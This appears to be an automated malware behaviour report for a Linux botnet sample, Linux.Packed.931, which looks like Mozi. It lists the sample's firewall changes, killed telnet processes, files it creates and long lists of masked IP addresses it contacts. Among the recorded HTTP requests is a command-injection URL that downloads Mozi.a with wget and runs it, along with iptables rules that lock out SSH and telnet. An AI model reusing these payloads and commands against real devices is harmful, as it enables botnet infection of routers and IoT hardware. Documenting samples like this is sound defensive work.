Linux.Packed.931

Technical Information

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

sshd

Modifies firewall settings:

iptables -I INPUT -p tcp --destination-port 32928 -j ACCEPT
iptables -I OUTPUT -p tcp --source-port 32928 -j ACCEPT
iptables -I PREROUTING -t nat -p tcp --destination-port 32928 -j ACCEPT
iptables -I POSTROUTING -t nat -p tcp --source-port 32928 -j ACCEPT
iptables -I INPUT -p tcp --dport 32928 -j ACCEPT
iptables -I INPUT -p tcp --destination-port 22 -j DROP
iptables -I OUTPUT -p tcp --sport 32928 -j ACCEPT
iptables -I INPUT -p tcp --destination-port 23 -j DROP
iptables -I PREROUTING -t nat -p tcp --dport 32928 -j ACCEPT
iptables -I INPUT -p tcp --destination-port 2323 -j DROP
iptables -I POSTROUTING -t nat -p tcp --sport 32928 -j ACCEPT
iptables -I OUTPUT -p tcp --source-port 22 -j DROP
iptables -I OUTPUT -p tcp --source-port 23 -j DROP
iptables -I OUTPUT -p tcp --source-port 2323 -j DROP
iptables -I INPUT -p tcp --dport 22 -j DROP
iptables -I INPUT -p tcp --dport 23 -j DROP
iptables -I INPUT -p tcp --dport 2323 -j DROP
iptables -I OUTPUT -p tcp --sport 22 -j DROP
iptables -I OUTPUT -p tcp --sport 23 -j DROP
iptables -I OUTPUT -p tcp --sport 2323 -j DROP
iptables -I INPUT -p udp --destination-port 42356 -j ACCEPT
iptables -I OUTPUT -p udp --source-port 42356 -j ACCEPT
iptables -I PREROUTING -t nat -p udp --destination-port 42356 -j ACCEPT
iptables -I POSTROUTING -t nat -p udp --source-port 42356 -j ACCEPT
iptables -I INPUT -p udp --dport 42356 -j ACCEPT
iptables -I OUTPUT -p udp --sport 42356 -j ACCEPT
iptables -I PREROUTING -t nat -p udp --dport 42356 -j ACCEPT
iptables -I POSTROUTING -t nat -p udp --sport 42356 -j ACCEPT

Launches processes:

sh -c killall -9 telnetd utelnetd scfgmgr
sh -c iptables -I INPUT -p tcp --destination-port 32928 -j ACCEPT
sh -c iptables -I OUTPUT -p tcp --source-port 32928 -j ACCEPT
sh -c iptables -I PREROUTING -t nat -p tcp --destination-port 32928 -j ACCEPT
sh -c iptables -I POSTROUTING -t nat -p tcp --source-port 32928 -j ACCEPT
sh -c iptables -I INPUT -p tcp --dport 32928 -j ACCEPT
sh -c iptables -I INPUT -p tcp --destination-port 22 -j DROP
sh -c iptables -I OUTPUT -p tcp --sport 32928 -j ACCEPT
sh -c iptables -I INPUT -p tcp --destination-port 23 -j DROP
sh -c iptables -I PREROUTING -t nat -p tcp --dport 32928 -j ACCEPT
sh -c iptables -I INPUT -p tcp --destination-port 2323 -j DROP
sh -c iptables -I POSTROUTING -t nat -p tcp --sport 32928 -j ACCEPT
sh -c iptables -I OUTPUT -p tcp --source-port 22 -j DROP
sh -c iptables -I OUTPUT -p tcp --source-port 23 -j DROP
sh -c iptables -I OUTPUT -p tcp --source-port 2323 -j DROP
sh -c iptables -I INPUT -p tcp --dport 22 -j DROP
sh -c iptables -I INPUT -p tcp --dport 23 -j DROP
sh -c iptables -I INPUT -p tcp --dport 2323 -j DROP
sh -c iptables -I OUTPUT -p tcp --sport 22 -j DROP
sh -c iptables -I OUTPUT -p tcp --sport 23 -j DROP
sh -c iptables -I OUTPUT -p tcp --sport 2323 -j DROP
sh -c iptables -I INPUT -p udp --destination-port 42356 -j ACCEPT
sh -c iptables -I OUTPUT -p udp --source-port 42356 -j ACCEPT
sh -c iptables -I PREROUTING -t nat -p udp --destination-port 42356 -j ACCEPT
sh -c iptables -I POSTROUTING -t nat -p udp --source-port 42356 -j ACCEPT
sh -c iptables -I INPUT -p udp --dport 42356 -j ACCEPT
sh -c iptables -I OUTPUT -p udp --sport 42356 -j ACCEPT
sh -c iptables -I PREROUTING -t nat -p udp --dport 42356 -j ACCEPT
sh -c iptables -I POSTROUTING -t nat -p udp --sport 42356 -j ACCEPT

Attempts to kill the following processes:

killall -9 telnetd utelnetd scfgmgr

Performs operations with the file system:

Creates or modifies files:

/root/.ips
/root/.config

Network activity:

Awaits incoming connections on ports:

127.0.0.1:14737
0.0.0.0:33445
0.0.0.0:32928
0.0.0.0:42356

Establishes connection:

8.#.8.8:53
23.###.201.63:8080
7.##.240.67:80
12#.##7.211.53:80
12#.##.130.5:49152
49.###.44.155:8080
21.##.28.171:8081
50.###.69.215:8181
14#.###.107.207:37215
16#.#0.232.4:80
25.##5.39.0:80
20#.###.249.147:5555
70.###.194.111:8443
18#.##2.95.178:7574
80.##.95.10:49152
99.##.107.197:8080
92.#.40.130:80
65.#.#85.131:7574
22.##.210.197:80
19#.##.100.73:8080
15#.###.241.229:8080
15#.##4.7.201:37215
47.###.133.52:80
37.###.10.227:8080
87.###.140.207:8181
14#.##.123.95:80
18#.##.194.245:8080
72.##.160.165:8081
10#.###.153.182:8081
65.###.32.107:8081
20#.##.117.86:8080
13#.##.186.155:80
19#.##5.147.132:80
21#.###.235.201:8080
15#.##.211.14:8081
10#.##6.132.231:80
12#.##6.113.137:80
22.##.31.254:80
15#.##.204.40:8080
39.##.206.50:49152
63.###.225.247:60001
17#.#4.85.16:80
56.###.189.225:49152
10#.###.68.223:37215
31.###.123.78:8080
68.##.173.154:80
38.##.242.159:8080
12#.##.131.117:8443
12#.##2.185.35:8080
15#.##.220.135:8080
16#.##6.55.207:7574
11#.##.18.234:8080
15#.##.109.53:80
14#.##2.100.47:8181
78.##.172.104:80
37.###.73.175:8080
46.###.157.23:8080
11#.##4.50.227:8080
89.##.72.39:80
12#.##8.16.30:8080
13#.##7.149.70:8080
19#.###.214.178:8181
13#.###.150.112:8080
98.###.231.134:8081
13#.###.153.251:8080
18.###.159.210:8080
19.###.1.99:8080
41.###.140.215:80
16#.###.151.197:37215
11#.##6.38.218:80
11#.##3.93.155:8080
15#.##.51.234:8080
19#.##.195.67:8080
17#.###.177.11:37215
75.#.#14.88:5555
92.###.156.120:8443
10#.##.210.106:80
10#.###.156.137:8080
19#.##0.180.86:80
11#.##1.118.250:80
27.###.41.114:80
13#.##.247.118:8081
21#.##.188.105:60001
16#.##5.177.89:80
42.###.227.196:5555
18.##.19.63:8080
25.###.7.210:8080
14#.##3.202.205:80
41.##.14.124:49152
10#.##.198.82:8080
15.###.241.19:80
16#.##.123.139:8081
69.##.97.91:60001
14#.##.140.131:49152
54.###.91.161:8080
10#.##3.23.69:8081
11#.###.67.101:60001
46.###.130.142:80
13#.##1.185.128:80
19#.##5.36.103:80
20.###.33.108:80
8.###.199.47:8080
54.###.154.139:8080
17#.##.147.218:8081
25.###.237.31:80
18#.##.16.24:37215
16#.##4.146.27:80
12#.##2.84.110:80
25.###.22.51:8080
10#.##9.137.55:80
10#.##3.151.81:80
26.##.248.221:81
36.##.126.234:8080
10#.##7.59.112:8081
34.###.97.159:5555
11#.##.148.146:8081
18.###.73.15:49152
20#.#8.246.8:80
42.###.99.5:52869
24.##.30.118:80
78.###.211.93:81
47.###.185.21:8080
21#.##3.62.201:8080
11#.##.139.74:8080
86.###.168.68:8081
15.###.21.176:60001
19#.##0.182.202:80
13#.##.148.121:49152
26.##.213.124:80
17#.##.127.53:8080
71.###.242.171:80
64.###.183.188:49152
20#.##.70.242:5555
75.##.34.88:8080
17#.##.29.247:80
70.###.35.63:8181
19#.###.249.230:8080
38.##.178.67:8080
51.##.11.165:80
14#.##.91.15:8081
14#.##.183.101:80
17#.##1.8.36:8080
12#.##3.52.207:80
79.###.167.65:52869
32.#.#1.201:8080
63.##.156.191:8080
42.###.108.163:8443
53.###.182.72:8080
60.##.136.219:5555
61.##.27.93:37215
65.###.0.197:8081
3.##.156.94:80
14.###.201.39:8080
12.###.106.205:80
32.###.179.128:52869
95.##.7.173:8081
21#.##8.0.3:37215
13#.##0.239.114:80
16#.##0.183.28:8080
14#.##.130.167:8181
13#.##0.199.8:8080
20#.###.179.253:5555
77.##.22.110:49152
33.###.160.254:49152
19#.#.178.167:60001
20#.##.190.45:37215
13#.##.114.87:52869
21#.##.87.137:60001
16#.##.111.120:80
95.###.155.78:37215
17#.#3.121.6:80
42.###.244.107:80
45.##.102.116:80
21#.##.252.11:8443
61.###.67.187:8081
11#.##8.47.226:8080
18.###.80.60:7574
21#.##5.191.114:80
12#.##.16.92:8080
27.##3.67.45:80
18#.###.118.252:8080
40.###.117.183:80
24.##.224.134:8081
19#.##4.108.18:80
12#.##3.72.113:5555
4.###.39.159:80
71.##.253.207:8443
18#.##9.32.204:8181
7.###.18.82:80
17#.##.131.101:80
21#.###.136.143:37215
13#.###.188.59:49152
13.##.142.228:80
7.##.52.32:8081
64.##.44.121:80
20#.###.223.224:52869
17.###.86.204:80
11#.##4.50.94:80
28.###.251.49:8080
22.###.235.182:80
15#.##.171.135:80
20#.##.47.203:80
75.##.172.13:8080
19#.###.70.172:37215
18#.##.36.63:8080
17#.##.68.2:8080
18#.##.143.127:80
21#.##1.85.247:80
36.##.164.48:7574
15#.##2.95.15:80
65.##.59.218:81
21#.##8.195.76:8080
13#.##.179.45:60001
70.###.201.79:8080
17#.##.188.169:8080
54.###.87.93:7574
45.##.29.165:8443
80.##.125.167:8080
17#.#39.4.24:80
70.##.191.110:8443
82.###.26.229:52869
15#.##8.253.149:80
17#.##3.15.59:8080
15#.##.251.11:80
72.##.252.182:80
56.#.#2.114:8080
2.###.65.93:8080
10#.##5.101.199:81
96.###.155.52:5555
12#.##4.1.8:8080
32.##.131.19:80
17#.##.88.226:5555
14.###.142.225:8080
66.##6.1.214:80
16#.##0.7.204:8081
24.##.74.76:60001
10#.###.170.151:7574
11#.##.220.250:8443
17#.##5.142.0:52869
17#.##9.109.144:80
19#.##3.60.24:8080
1.#.#0.141:5555
14#.###.122.209:37215
14#.#.199.250:8080
53.##.72.159:7574
19#.##4.246.6:8081
69.###.194.143:8080
14#.##1.231.94:8081
52.##.110.41:81
41.###.126.212:8080
71.##.6.71:37215
12#.##.238.71:80
36.##.202.143:8080
21#.##2.44.233:8080
20#.##8.161.90:80
19#.###.213.124:52869
17#.#.71.117:81
18#.##3.162.162:80
73.###.254.84:8443
92.###.29.68:5555
19#.##.64.176:8081
46.###.198.18:8080
17#.##8.135.184:80
15#.##6.138.87:80
99.##.56.124:80
17#.###.236.194:8080
21#.##.93.232:80
15#.###.112.121:8081
40.###.237.48:8080
22#.###.125.175:8080
16#.##.104.117:8080
16#.##.34.156:8080
13#.##4.60.114:8081
90.###.195.219:8443
21#.##.135.127:8080
14#.###.180.209:8081
10#.##.44.242:8080
12#.##3.104.217:80
26.###.136.28:80
21#.##.135.83:8081
85.###.3.44:8181
13#.##.157.95:80
18#.###.179.129:52869
18#.##4.158.26:8080
14#.##0.177.83:8181
11#.###.173.226:8443
16#.##2.5.240:8080
80.###.176.11:49152
4.###.134.155:7574
17#.##.55.116:80
10#.##0.211.92:80
46.##.242.83:52869
67.##.156.16:8080
65.###.115.197:8081
12#.###.219.245:49152
17#.##8.21.147:8080
30.##.71.144:52869
63.###.133.103:8080
3.###.46.217:8080
23.###.206.182:8080
13#.##0.201.84:80
16#.##2.248.33:5555
81.###.124.160:5555
38.##.63.234:8080
19#.##.140.23:8080
22.#.67.21:80
74.##.254.200:52869
13#.##5.69.80:8080
11#.##9.13.141:8080
13.###.201.224:81
11#.##.14.235:80
28.###.147.189:80
62.###.79.191:8080
<LOCAL_GATE>92:80
90.##.136.64:80
78.##.34.85:8080
20.###.153.209:52869
17#.##8.128.147:80
2.##.#92.126:8080
52.###.93.40:37215
12#.##.133.17:8081
18#.#8.28.48:80
43.##.146.188:8080
38.##2.2.0:8080
39.##3.78.39:81
14#.##.55.170:8080
10#.###.204.102:52869
14#.##.201.225:80
11#.#5.32.67:80
27.###.208.136:80
16#.##4.12.39:8443
22.###.200.115:8080
17#.##7.5.189:8181
43.##.52.4:8080
10#.###.235.237:8080
44.###.95.41:37215
8.###.26.106:8081
14#.##.185.183:8080
22#.###.174.233:8080
70.##.39.192:80
29.###.92.51:8080
13#.##.245.165:8080
62.###.144.161:8080
18#.##6.0.227:80
25.##.119.153:60001
18#.##4.45.188:7574
14#.##4.105.16:8080
19.###.2.226:52869
73.###.14.16:37215
21#.##.83.117:52869
19#.##5.229.74:8443
20#.##.56.144:8443
17#.###.137.126:8080
17#.##.156.78:80
15#.##4.239.38:8181
21#.##4.247.12:8080
29.###.41.148:80
12#.##.252.88:8081
61.###.37.12:52869
19#.##.202.185:52869
10#.##2.22.112:8080
21#.#38.1.35:80
17#.###.219.112:60001
20#.##.54.100:80
12.###.143.36:8080
22.###.45.209:8081
73.###.230.49:80
64.##.116.65:80
36.###.113.120:81
10#.##.192.193:8080
14#.##9.69.122:8181
58.##.28.61:8080
16#.##.164.56:80
19#.##9.64.101:8181
62.##.189.90:37215
2.##.#6.166:8080
19#.##.133.181:80
17#.##.107.65:8080
21#.###.251.212:8443
37.###.114.38:49152
10#.##3.234.77:81
83.###.249.75:8181
99.###.158.252:8080
63.#.#08.203:37215
15#.###.144.219:52869
21#.##.226.79:8080
12#.##.253.16:49152
76.##6.59.25:80
65.###.44.144:80
67.#.67.82:80
6.###.194.126:8080
78.##.173.186:7574
15#.##.145.120:8080
10#.##5.65.202:8080
73.###.173.184:8443
96.##.26.216:5555
6.###.61.37:8081
18#.##.108.158:80
99.###.103.30:80
15#.#.249.80:80
18#.###.159.218:8080
17#.##7.254.8:8181
81.###.103.134:49152
21#.##6.156.8:8443
20#.##0.140.192:80
20#.##8.65.224:8080
59.###.212.206:8081
15#.##.185.128:8443
15#.##.70.27:60001
94.###.141.47:8443
19#.#.217.187:52869
19#.##.223.33:8081
12#.##6.107.32:8080
18#.#.138.221:8081
17#.#1.44.7:80
19#.##.3.140:8080
30.#.76.11:8181
30.##8.69.16:80
87.##.8.204:80
21#.##8.226.18:8080
21#.#3.1.155:80
90.###.130.211:80
15#.##7.110.85:80
26.###.244.99:8443
23.###.126.87:8081
86.###.99.23:8080
5.###.206.151:80
19#.##3.32.45:8081
94.###.121.245:37215
13#.##3.148.232:80
19#.##4.80.92:80
21#.##.225.110:80
11#.###.180.243:8081
38.##.159.90:80
12#.##7.33.194:8080
10#.##.92.121:8080
38.##.238.175:80
21#.##.4.40:8080
16#.##6.50.68:60001
20#.##8.182.139:80
14.###.239.91:80
36.##.251.165:8080
93.##.89.194:8080
11#.##2.210.15:8080
21#.###.144.133:60001
11#.##8.171.13:8081
10#.##.176.47:80
92.###.215.72:8080
94.##9.228.2:80
98.##.136.172:8443
27.###.170.33:8080
16#.###.184.216:37215
25.###.7.186:60001
13#.##.245.108:8080
5.##.44.54:80
50.###.89.58:52869
26.###.111.73:8081
16#.##4.6.16:8080
47.##.76.149:80
19#.##.223.43:8080
44.###.220.248:8081
35.###.186.51:37215
10#.##9.86.124:8080
10#.##6.82.217:80
15#.#.91.193:8443
14.##4.141.2:80
13#.##.211.52:8080
13#.##9.197.97:8080
2.##.1.195:8081
10#.#49.5.32:80
13#.##4.0.154:5555
68.##.208.87:7574
73.##.194.165:80
61.###.48.59:8081
92.###.194.68:81
16#.##.95.118:49152
29.###.157.141:81
63.###.201.222:8080
44.###.53.2:8080
48.###.222.141:80
19#.###.154.234:8443
93.###.156.201:37215
84.###.46.65:8081
96.##.164.60:52869
86.##0.10.4:80
19#.#.46.21:8080
17.##.241.139:52869
4.##.#2.110:8080
92.##.141.223:49152
16#.#.144.34:8181
15#.#.133.240:8080
19#.##4.11.149:80
24.##.199.1:37215
70.##5.6.2:5555
39.###.233.187:80
11.###.115.198:80
11#.###.145.67:60001
19#.##.118.119:8081
16#.##.181.96:80
94.###.135.48:37215
11#.###.247.148:8443
16#.##8.177.49:8080
13#.##3.143.75:5555
17.###.57.57:49152
94.###.133.210:8080
14#.##0.181.231:81
11#.###.234.220:8080
14#.##8.14.34:52869
25.##9.43.70:80
19#.###.200.237:8080
18#.##3.201.237:80
20#.##.40.118:80
19#.##.218.44:80
44.###.246.127:60001
19#.##.233.167:80
19#.##3.157.133:80
20#.#.3.107:8080
21#.##3.117.19:80
44.##6.10.85:80
26.###.141.126:8081
43.###.4.69:7574
34.###.117.36:80
30.###.119.94:80
49.###.19.73:52869
83.##.135.10:8081
11#.##.123.111:80
64.##.226.124:52869
17#.##0.3.153:8443
38.###.147.213:49152
17#.###.228.221:8181
13#.###.117.101:8443
22#.##9.194.185:80
21#.##5.15.151:8080
13#.##1.61.64:49152
66.##.100.112:8080
11#.##3.78.128:80
20#.##.250.247:80
82.###.13.226:8080
11#.##9.15.222:8181
11#.###.118.226:8081
20#.##1.91.226:8443
18#.##7.74.57:8080
10#.##2.21.92:80
32.###.80.136:8081
22.###.49.165:80
19#.##.61.126:80
18#.###.237.212:49152
13#.##8.130.60:5555
95.###.252.92:80
16#.##4.93.208:80
19#.##.72.165:60001
98.###.181.230:80
95.##.227.167:8081
20#.###.237.108:8080
31.##.26.120:8080
65.#.#5.254:8080
14#.#7.31.3:80
10#.###.133.132:8443
13#.##.81.250:7574
11#.##.235.188:80
1.###.145.87:8080
19#.###.100.164:37215
81.###.32.13:37215
52.###.64.65:8081
16#.##7.66.75:80
19#.###.135.231:8080
[:##]:42356
127.0.0.1:42356
15#.###.204.11:49152
12#.##3.8.27:8080
21.##.248.210:60001
17#.#92.17.9:81
20#.#8.4.25:80
25.###.107.105:37215
14#.##6.42.12:8081
25.###.123.254:5555
12#.##0.30.131:80
16#.##.141.115:37215
21#.##.201.211:8081
13#.###.189.132:5555
35.##.116.218:8080
13#.##4.44.213:80
29.##1.77.15:80
22#.#7.79.49:81
13#.##4.196.53:7574
10#.##.91.121:81
24.###.231.147:80
11.###.91.212:8080
25.##.141.228:8080
19#.##8.200.204:80
18#.#3.26.29:80
8.##.106.24:80
42.##.175.115:80
11#.##.215.140:8081
12#.#.144.102:80
16#.##.21.210:81
13#.###.234.214:37215
12#.#4.0.195:80
25.###.36.199:80
51.##2.19.92:80
26.##.101.202:5555
18#.###.137.208:8080
45.###.62.229:80
97.##.114.230:8080
76.#.224.162:80
65.###.78.211:60001
2.###.85.239:8080
17.###.28.109:80
72.###.47.126:8443
22#.###.251.174:8080
14#.##.251.192:80
19#.##.102.69:8081
14#.#.198.161:80
93.##.167.143:8181
16#.##1.189.7:60001
13#.##.32.203:80
77.###.164.49:8080
19#.##9.56.172:8080
56.###.247.145:5555
14.###.87.99:8080
13#.##.214.12:52869
10#.##.185.58:80
17#.##3.28.164:8080
10#.##8.40.73:8080
12#.###.192.225:8080
18#.##3.66.86:5555
35.##.244.224:80
57.##.186.228:80
19#.##8.200.41:80
78.##.174.231:80
19#.##.10.62:8080
10#.##.54.71:8080
11#.###.86.244:60001
12#.##2.61.201:5555
22#.###.178.103:8080
39.##.79.58:49152
11#.##5.118.49:80
15#.##.143.163:60001
15#.###.215.243:7574
14.###.207.12:80
12#.##.6.225:8080
87.###.134.113:8080
10#.###.138.166:49152
15#.##4.82.88:8181
89.###.177.120:52869
94.##.70.53:8080
64.###.249.79:8080
11#.##7.215.27:5555
21#.##.254.55:8080
25.##.30.15:60001
80.##.64.121:80
16#.##3.179.23:80
15#.##.28.112:8080
41.###.103.63:37215
96.###.14.126:80
57.###.125.100:8081
6.###.205.212:8443
21#.###.147.13:37215
76.###.4.182:7574
20#.##1.35.171:80
53.###.239.215:8081
6.##.127.166:80
59.#.#16.35:8080
10#.##.162.129:8080
69.##1.112.8:80
17#.##6.64.103:8081
20#.###.156.80:49152
38.###.54.241:8181
19#.##4.42.191:8080
12#.##.248.137:80
55.###.148.207:8080
77.###.146.203:8081
74.###.70.177:8080
71.##.78.165:80
86.##2.58.97:80
10#.##7.149.79:8080
57.##.8.136:8080
19.###.107.115:8080
11#.##.77.76:8443
15#.##7.100.24:81
12#.#7.55.26:80
14#.##.105.73:80
59.##.219.238:80
74.###.170.201:81
19#.###.166.250:8443
16#.###.135.56:37215
14#.###.183.218:49152
14#.##.29.27:8080
78.##.20.76:37215
13.###.126.102:80
14#.###.251.167:60001
95.###.243.131:8080
10#.##9.197.244:80
10#.###.118.226:60001
7.###.203.124:80
21#.##1.46.116:80
13#.##6.114.0:49152
84.###.155.96:8080
60.##.219.53:81
21.###.149.87:52869
31.###.124.194:8081
33.###.157.139:37215
13#.#.233.14:49152
12.##.72.212:8181
32.###.186.130:8080
17#.##2.30.247:8081
70.###.108.61:8080
63.###.97.191:80
20#.##.240.58:7574
11#.##7.55.183:8081
18#.###.77.134:37215
15#.##2.22.114:81
37.##.3.173:80
22#.##.246.103:8080
53.###.122.108:60001
19#.##.108.177:8080
3.###.106.172:81
10#.##1.88.130:80
53.##.138.59:80
48.##.158.55:60001
77.#.#35.25:7574
49.##.107.223:8080
15#.##0.4.110:80
12.###.185.177:81
52.###.233.103:8080
10#.##.14.206:8081
14#.##9.16.112:8080
10#.##0.1.6:8443
12.##.185.99:80
94.###.233.132:81
10#.##3.242.29:8081
10#.###.210.240:8080
46.##.124.249:80
7.##.#6.47:49152
54.###.219.204:49152
53.###.212.24:8181
60.###.54.147:80
35.###.0.108:37215
16#.##9.129.186:80
42.###.14.154:8080
16#.##3.157.156:80
10#.##7.73.129:8080
54.##.5.162:8443
75.###.123.155:8080
16#.##.159.53:8080
19#.##1.232.23:8181
89.###.112.124:80
99.#.40.76:8080
95.##.135.93:80
16#.##.96.71:52869
85.###.117.10:8081
19#.##8.123.193:81
29.###.74.191:80
63.##.252.144:60001
62.###.115.248:80
29.###.114.194:8081
81.#.#7.241:8080
84.##.28.128:8080
39.###.172.111:8081
78.##6.1.7:80
12.###.45.112:8080
36.###.97.67:60001
10#.##7.3.239:8080
19#.##5.68.144:80
19#.###.200.83:60001
18#.###.164.135:60001
21#.##6.75.198:81
17#.###.131.111:8080
29.###.101.210:8181
20#.##6.170.21:8080
10#.##.16.200:8080
73.##.202.17:8181
18#.##3.86.33:37215
33.###.121.129:8081
20#.###.242.106:8081
18#.##.193.154:8081
27.##.94.88:80
17#.##3.89.21:5555
20#.###.174.195:8080
28.##2.3.4:8181
53.###.241.179:8080
67.##.218.47:8181
14#.##.73.238:80
3.##.50.90:8443
22#.##7.122.80:8080
21#.###.98.233:60001
15#.##0.148.73:80
83.###.66.86:8181
97.##.35.119:80
9.###.232.232:80
19#.##.186.53:60001
17.##.54.63:49152
39.###.119.141:81
1.###.84.61:8080
19#.##7.95.163:8080
14#.##.79.55:5555
72.#.#50.189:8080
9.##.50.129:80
7.###.103.230:8080
53.###.64.57:8081
10#.##.44.36:60001
18#.#37.2.13:80
15#.##.202.142:80
20#.##1.19.223:8080
75.##.171.251:80
1.###.67.53:80
20#.###.78.184:60001
18#.###.104.68:49152
36.###.160.184:8081
21.###.145.228:7574
68.###.163.161:8080
23.###.101.54:7574
10#.##2.176.52:7574
10#.#.237.144:80
18#.##5.158.15:8080
88.###.138.163:5555
54.###.160.132:49152
99.###.88.17:52869
16#.##8.54.145:80
84.###.228.87:80
13#.###.243.242:8080
10#.##.140.78:8080
12#.##7.67.102:8080
18#.##.29.209:8080
88.###.132.167:60001
20#.##4.132.88:8080
21#.##6.106.177:80
15#.###.174.103:8080
20#.##.95.252:80
15#.#.232.136:80
18#.#5.149.7:80
10#.##.50.235:60001
17#.##1.159.145:80
20#.##4.239.61:5555
47.##.126.137:52869
12.#.185.140:80
80.###.184.190:8080
20#.##0.166.107:81
18#.#.234.108:81
18.##.133.99:80
16#.##.182.11:60001
88.###.14.80:8080
70.###.88.192:8080
16#.##9.132.152:80
20#.##.40.132:8080
17#.###.116.232:37215
6.##.#20.189:37215
11#.#.155.215:80
16#.##0.122.219:81
20.##3.20.74:80
96.###.41.209:80
<LOCAL_GATE>67:80
70.###.68.233:80
76.##.75.29:8081
22#.#5.180.9:80
19#.##6.18.184:8181
26.##.117.126:80
15#.###.187.107:8080
10#.##4.114.7:49152
22#.###.171.219:5555
19#.##.60.88:8181
13#.##2.172.135:80
77.##.42.218:80
19#.###.200.239:8080

HTTP GET requests:

http://###.##.##.#########.###########/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
http://###.###.###.####aform/admin/formLogin?username=ec8&psd=ec8

HTTP POST requests:

23.##.#3.189:80/HNAP1/
127.0.0.1:80/GponForm/diag_Form?images/

Other HTTP requests:

http://###.###.168.4HTTP/1.0

Sends data to the following servers:

23#.###.255.250:1900
41.##.28.7:1023
5.###.76.72:23
10#.##9.200.5:23
83.###.54.226:23
85.##.190.24:23
66.##.30.51:1023
17#.##5.59.223:23
20#.##.26.219:23
13#.##8.132.242:23
19#.##2.91.118:23
17#.##.254.147:1023
67.#.187.71:23
42.###.186.55:23
94.##.171.194:23
99.##.140.178:23
10#.##7.86.153:1023
58.##4.24.6:23
20#.##6.49.43:23
20#.##1.104.48:23
44.##.140.113:23
11#.##.27.203:1023
19#.##4.167.190:23
35.##9.1.2:23
18#.##0.150.92:23
43.##6.96.81:23
21#.###.186.158:1023
46.##.164.228:23
80.##.236.182:23
15#.##.202.76:23
66.##3.85.62:23
10#.##.209.120:1023
18#.##.110.224:23
17#.#.51.80:23
78.##.154.146:23
85.#.57.101:23
11#.###.254.231:1023
14#.##8.163.223:23
70.###.218.84:23
15#.##9.232.157:23
18#.##4.174.35:23
20#.##.165.167:1023
12#.##5.124.9:23
16#.##4.202.5:23
11#.##.220.196:23
34.##.208.31:23
61.###.240.40:1023
40.##6.37.31:23
16#.##.146.125:23
66.##5.63.8:23
11#.##.75.216:23
14#.##1.93.209:1023
15#.##.39.154:23
95.##.156.220:23
13#.##.223.49:23
57.###.91.221:23
11#.###.222.167:1023
16#.##3.208.206:23
14#.##8.101.94:23
14.###.191.143:23
16#.##.222.248:23
16#.##6.34.19:1023
34.##.17.149:23
21#.##5.157.70:23
20#.##2.43.43:23
10#.##4.140.186:23
10#.#.187.6:1023
21#.##4.108.38:23
10#.##.238.165:23
44.##.179.114:23
10#.##.155.30:23
17#.##1.193.96:1023
18#.##0.177.14:23
2.###.182.245:23
14#.##3.192.161:23
16#.##2.217.180:23
93.###.190.105:1023
12#.##4.254.159:23
18#.#1.47.38:23
11#.##5.174.26:23
22#.##.24.148:23
53.###.66.192:1023
36.##1.147.9:23
17#.##6.224.49:23
90.###.24.182:23
89.##.150.244:23
19#.##2.126.80:1023
17#.##3.62.219:23
13#.##7.172.1:23
18#.##1.163.152:23
14#.##9.172.227:23
20#.###.220.170:1023
12#.##.149.165:23
97.###.250.189:23
16#.##4.171.139:23
69.###.189.137:23
40.##.193.229:1023
20.##5.8.186:23
13#.##3.145.129:23
77.##.157.162:23
20#.##8.29.215:23
20#.###.200.145:1023
19#.##8.175.161:23
19#.##8.200.218:23
51.##.50.47:23
13.#.167.91:23
20#.#.205.137:1023
63.###.115.160:23
15#.##1.76.248:23
19#.##2.98.202:23
18.###.220.251:23
17#.##5.158.0:1023
17.##.17.180:23
13#.##1.71.167:23
71.###.64.114:23
88.###.157.232:23
17#.###.235.108:1023
57.##.250.66:23
11#.##3.162.73:23
15#.##8.124.193:23
85.###.194.72:23
16#.###.232.104:1023
38.###.32.215:23
72.##.211.105:23
19#.##9.35.78:23
69.#.145.84:23
10#.##.37.65:1023
20#.##.124.219:23
22#.##.102.186:23
15#.##6.232.251:23
18#.##5.19.85:23
87.#.84.50:1023
21#.##4.145.28:23
65.###.111.114:23
17#.##8.40.31:23
70.###.206.170:23
19#.###.227.173:1023
35.###.129.121:23
37.###.186.127:23
13#.##.134.172:23
5.###.60.230:23
4.###.130.16:1023
21#.##4.164.20:23
17#.##2.210.250:23
69.##.64.214:23
20#.##7.127.131:23
10#.##2.96.62:1023
16#.##9.122.255:23
17.##2.14.20:23
38.##.254.54:23
88.##4.47.77:23
37.##.254.48:1023
11#.##.56.172:23
20#.#.112.142:23
22#.##5.19.84:23
20#.##3.5.143:23
22#.##9.28.66:1023
19#.#8.2.26:23
67.###.213.239:23
12#.##1.121.209:23
11#.##7.82.245:23
12#.##.125.205:1023
17#.##.13.106:23
18#.##4.209.218:23
47.##.248.27:23
47.##.196.254:23
11#.##.3.189:1023
10#.##6.100.121:23
16#.##9.103.246:23
73.##.65.224:23
14#.#8.7.215:23
81.##.238.83:1023
84.##.158.3:23
47.##.227.13:23
88.#.57.50:23
16#.##.95.203:23
13#.###.242.228:1023
78.###.231.158:23
19#.#.16.170:23
17#.##.217.159:23
18#.##5.135.134:23
47.##.136.48:1023
11#.##9.81.29:23
77.###.161.156:23
20#.##6.223.40:23
20#.##.236.198:23
90.###.180.177:1023
85.##.155.101:23
87.###.61.105:23
96.###.254.133:23
17.##.185.218:23
21#.##.232.235:1023
15#.##2.122.164:23
21#.##0.91.80:23
12#.##2.123.151:23
89.##.255.190:23
45.##.230.107:1023
11#.##7.237.236:23
24.##.215.123:23
43.##4.95.67:23
16#.##7.164.179:23
15#.##0.9.187:1023
15#.##2.138.250:23
15#.##0.196.105:23
60.##.176.206:23
11#.##7.132.20:23
20#.##.37.170:1023
96.###.195.48:23
35.##.9.252:23
1.###.191.201:23
17.##4.52.31:23
21#.##9.33.59:6881
82.###.103.244:6881
13#.##9.18.159:6881
87.##.162.88:6881
16#.##.218.40:6881
11#.###.206.240:52287
47.##.114.8:56440
11#.###.125.153:1023
60.##.173.221:23
19#.#9.2.10:23
20#.##3.65.154:23
83.##.164.171:23
12#.###.181.103:1023
97.###.144.133:23
12#.##2.149.232:23
19#.##.182.53:23
13#.##.172.206:23
10#.##5.33.82:11247
22#.###.191.124:8080
20#.##.45.107:28339
12#.##.119.146:6832
5.###.187.90:31371
80.###.145.152:1023
38.##.52.48:23
13#.##1.162.115:23
53.##7.9.99:23
59.###.211.95:23
86.###.105.57:1023
19#.#04.4.96:23
21#.#2.17.84:23
9.###.74.54:23
75.##.43.243:23
21#.###.79.238:51424
47.###.137.90:51413
